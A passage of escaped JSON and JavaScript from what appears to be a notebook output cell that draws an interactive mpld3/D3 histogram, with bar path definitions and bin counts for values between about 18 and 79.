\"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114423721424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114423723088\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114423724752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114423742864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114423744528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114423750352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114423752016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114423753680\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114423771792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114423773456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114423783376\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114423785040\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114423786320\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114423800720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114423802384\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114423812304\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114423813968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114423827984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114423829648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114423831312\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114423845328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114423440464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114423438416\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114423432720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114423847760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114423869968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114423871632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data55\", \"id\": \"el126114423889744\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data56\", \"id\": \"el126114423891408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114423892688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 3, \"data\": \"data56\", \"id\": \"el126114423898512\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data57\", \"id\": \"el126114423900176\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 8, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 8, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114423369872\", \"ydomain\": [0.0, 700.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 640.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[60.0, 0.0], [60.8, 0.0], [60.8, 178.0], [60.0, 178.0]], \"data43\": [[61.0, 0.0], [61.8, 0.0], [61.8, 133.0], [61.0, 133.0]], \"data40\": [[58.0, 0.0], [58.8, 0.0], [58.8, 187.0], [58.0, 187.0]], \"data41\": [[59.0, 0.0], [59.8, 0.0], [59.8, 118.0], [59.0, 118.0]], \"data46\": [[64.0, 0.0], [64.8, 0.0], [64.8, 54.0], [64.0, 54.0]], \"data47\": [[65.0, 0.0], [65.8, 0.0], [65.8, 57.0], [65.0, 57.0]], \"data44\": [[62.0, 0.0], [62.8, 0.0], [62.8, 109.0], [62.0, 109.0]], \"data45\": [[63.0, 0.0], [63.8, 0.0], [63.8, 71.0], [63.0, 71.0]], \"data48\": [[66.0, 0.0], [66.8, 0.0], [66.8, 37.0], [66.0, 37.0]], \"data49\": [[67.0, 0.0], [67.8, 0.0], [67.8, 12.0], [67.0, 12.0]], \"data50\": [[68.0, 0.0], [68.8, 0.0], [68.8, 16.0], [68.0, 16.0]], \"data53\": [[71.0, 0.0], [71.8, 0.0], [71.8, 2.0], [71.0, 2.0]], \"data28\": [[46.0, 0.0], [46.8, 0.0], [46.8, 601.0], [46.0, 601.0]], \"data06\": [[23.0, 0.0], [23.8, 0.0], [23.8, 169.0], [23.0, 169.0]], \"data52\": [[70.0, 0.0], [70.8, 0.0], [70.8, 11.0], [70.0, 11.0]], \"data08\": [[25.0, 0.0], [25.8, 0.0], [25.8, 279.0], [25.0, 279.0]], \"data09\": [[26.0, 0.0], [26.8, 0.0], [26.8, 326.0], [26.0, 326.0]], \"data20\": [[38.0, 0.0], [38.8, 0.0], [38.8, 544.0], [38.0, 544.0]], \"data21\": [[39.0, 0.0], [39.8, 0.0], [39.8, 478.0], [39.0, 478.0]], \"data22\": [[40.0, 0.0], [40.8, 0.0], [40.8, 543.0], [40.0, 543.0]], \"data05\": [[22.0, 0.0], [22.8, 0.0], [22.8, 101.0], [22.0, 101.0]], \"data02\": [[19.0, 0.0], [19.8, 0.0], [19.8, 26.0], [19.0, 26.0]], \"data04\": [[21.0, 0.0], [21.8, 0.0], [21.8, 78.0], [21.0, 78.0]], \"data26\": [[44.0, 0.0], [44.8, 0.0], [44.8, 452.0], [44.0, 452.0]], \"data01\": [[18.0, 0.0], [18.8, 0.0], [18.8, 13.0], [18.0, 13.0]], \"data55\": [[73.0, 0.0, 75.0], [73.8, 0.0, 75.8], [73.8, 3.0, 75.8], [73.0, 3.0, 75.0]], \"data23\": [[41.0, 0.0], [41.8, 0.0], [41.8, 584.0], [41.0, 584.0]], \"data57\": [[77.0, 0.0, 79.0], [77.8, 0.0, 79.8], [77.8, 0.0, 79.8], [77.0, 0.0, 79.0]], \"data51\": [[69.0, 0.0], [69.8, 0.0], [69.8, 8.0], [69.0, 8.0]], \"data24\": [[42.0, 0.0], [42.8, 0.0], [42.8, 566.0], [42.0, 566.0]], \"data56\": [[74.0, 0.0, 76.0, 78.0], [74.8, 0.0, 76.8, 78.8], [74.8, 1.0, 76.8, 78.8], [74.0, 1.0, 76.0, 78.0]], \"data03\": [[20.0, 0.0], [20.8, 0.0], [20.8, 50.0], [20.0, 50.0]], \"data27\": [[45.0, 0.0], [45.8, 0.0], [45.8, 685.0], [45.0, 685.0]], \"data07\": [[24.0, 0.0], [24.8, 0.0], [24.8, 248.0], [24.0, 248.0]], \"data54\": [[72.0, 0.0], [72.8, 0.0], [72.8, 4.0], [72.0, 4.0]], \"data37\": [[55.0, 0.0], [55.8, 0.0], [55.8, 340.0], [55.0, 340.0]], \"data36\": [[54.0, 0.0], [54.8, 0.0], [54.8, 276.0], [54.0, 276.0]], \"data35\": [[53.0, 0.0], [53.8, 0.0], [53.8, 310.0], [53.0, 310.0]], \"data34\": [[52.0, 0.0], [52.8, 0.0], [52.8, 409.0], [52.0, 409.0]], \"data25\": [[43.0, 0.0], [43.8, 0.0], [43.8, 505.0], [43.0, 505.0]], \"data32\": [[50.0, 0.0], [50.8, 0.0], [50.8, 549.0], [50.0, 549.0]], \"data31\": [[49.0, 0.0], [49.8, 0.0], [49.8, 493.0], [49.0, 493.0]], \"data30\": [[48.0, 0.0], [48.8, 0.0], [48.8, 507.0], [48.0, 507.0]], \"data39\": [[57.0, 0.0], [57.8, 0.0], [57.8, 213.0], [57.0, 213.0]], \"data38\": [[56.0, 0.0], [56.8, 0.0], [56.8, 318.0], [56.0, 318.0]], \"data19\": [[37.0, 0.0], [37.8, 0.0], [37.8, 469.0], [37.0, 469.0]], \"data18\": [[36.0, 0.0], [36.8, 0.0], [36.8, 491.0], [36.0, 491.0]], \"data15\": [[33.0, 0.0], [33.8, 0.0], [33.8, 387.0], [33.0, 387.0]], \"data14\": [[31.0, 0.0], [31.8, 0.0], [31.8, 371.0], [31.0, 371.0]], \"data17\": [[35.0, 0.0], [35.8, 0.0], [35.8, 496.0], [35.0, 496.0]], \"data16\": [[34.0, 0.0], [34.8, 0.0], [34.8, 360.0], [34.0, 360.0]], \"data11\": [[28.0, 0.0], [28.8, 0.0], [28.8, 380.0], [28.0, 380.0]], \"data10\": [[27.0, 0.0, 32.0], [27.8, 0.0, 32.8], [27.8, 372.0, 32.8], [27.0, 372.0, 32.0]], \"data13\": [[30.0, 0.0], [30.8, 0.0], [30.8, 396.0], [30.0, 396.0]], \"data12\": [[29.0, 0.0], [29.8, 0.0], [29.8, 377.0], [29.0, 377.0]], \"data29\": [[47.0, 0.0], [47.8, 0.0], [47.8, 540.0], [47.0, 540.0]], \"data33\": [[51.0, 0.0], [51.8, 0.0], [51.8, 483.0], [51.0, 483.0]]}, \"id\": \"el126114363090064\"});\n", " }(mpld3);\n", "}else if(typeof define === \"function\" && define.amd){\n", " // require.js is available: use it to load d3/mpld3\n", " require.config({paths: {d3: \"https://mpld3.github.io/js/d3.v3.min\"}});\n", " require([\"d3\"], function(d3){\n", " window.d3 = d3;\n", " mpld3_load_lib(\"https://mpld3.github.io/js/mpld3.v0.2.js\", function(){\n", " \n", " mpld3.draw_figure(\"fig_el1261143630900641735846769\", {\"axes\": [{\"xlim\": [10.0, 80.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 80.0], \"ylim\": [0.0, 700.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423510992\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423533136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423534800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114423536464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114423550480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423552144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423562064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423563728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114423565008\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423579408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114423581072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114423599184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114423600848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114423602128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data10\", \"id\": \"el126114423616528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114423618192\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114423628112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114423629776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114423643792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114423645456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114423647120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114423661136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114423662800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114423676816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114423678480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114423679760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114423690064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114423691728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, 